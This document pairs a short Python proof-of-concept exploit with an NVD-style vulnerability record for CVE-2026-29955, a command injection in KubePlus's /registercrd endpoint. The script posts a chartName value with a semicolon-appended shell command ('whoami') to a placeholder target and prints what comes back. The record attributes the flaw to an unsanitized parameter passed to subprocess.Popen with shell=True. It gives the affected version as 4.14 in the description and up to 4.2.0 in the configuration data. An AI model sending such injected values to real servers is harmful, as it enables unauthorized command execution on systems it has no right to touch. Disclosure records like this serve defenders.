CVE-2026-29955

import requests # PoC for CVE-2026-29955: Command Injection in KubePlus # Target Endpoint: /registercrd # Vulnerable Parameter: chartName target_url = "http://target-host:port/registercrd" # The payload injects a command to print 'whoami' using a semicolon malicious_chartName = "example_chart; whoami" payload_data = { "chartName": malicious_chartName } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response for command execution output.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-29955", "sourceIdentifier": "[email protected]", "published": "2026-04-13T19:16:39.137", "lastModified": "2026-05-01T15:04:11.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The `/registercrd` endpoint in KubePlus 4.14 in the kubeconfiggenerator component is vulnerable to command injection. The component uses `subprocess.Popen()` with `shell=True` parameter to execute shell commands, and the user-supplied `chartName` parameter is directly concatenated into the command string without any sanitization or validation. An attacker can inject arbitrary shell commands by crafting a malicious `chartName` parameter value."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cloudark:kubeplus:*:*:*:*:*:*:*:*", "versionEndIncluding": "4.2.0", "matchCriteriaId": "48BB76F0-69A4-4753-A746-AFB6063ED17A"}]}]}], "references": [{"url": "https://gist.github.com/b0b0haha/f011fdd69adc3ae272a4e3b99af90163", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/b0b0haha/CVE-2026-29955/blob/main/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}